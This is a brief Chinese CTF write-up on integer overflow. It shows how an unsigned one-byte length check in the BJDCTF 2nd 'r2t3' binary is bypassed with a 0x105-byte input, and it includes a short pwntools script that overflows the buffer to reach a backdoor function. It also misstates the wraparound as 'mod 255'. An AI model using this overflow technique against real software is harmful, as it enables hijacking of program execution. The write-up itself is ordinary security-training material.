跳转至

整数溢出

整数溢出

做题遇到了,以后补一下先上个例题

BJDCTF 2nd r2t3

有一个长度的检查

1590804787387-0eb3a93a-92da-4b8c-b0d5-949f4e137ce4.png

这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255

所以可以传入一个总共是 0x105 的,这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测

dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h

程序中提供了后门 0x804858B

1590805362613-efe9ceda-0e35-4cd2-bbc8-903e8d56dbc5.png

exp

from pwn import *
p=process('pwn')
payload='a'*0x15+p32(0x804858B)
payload+='a'*(0x105-len(payload))
p.sendline(payload)
p.interactive()

原文: https://www.yuque.com/hxfqg9/bin/brolel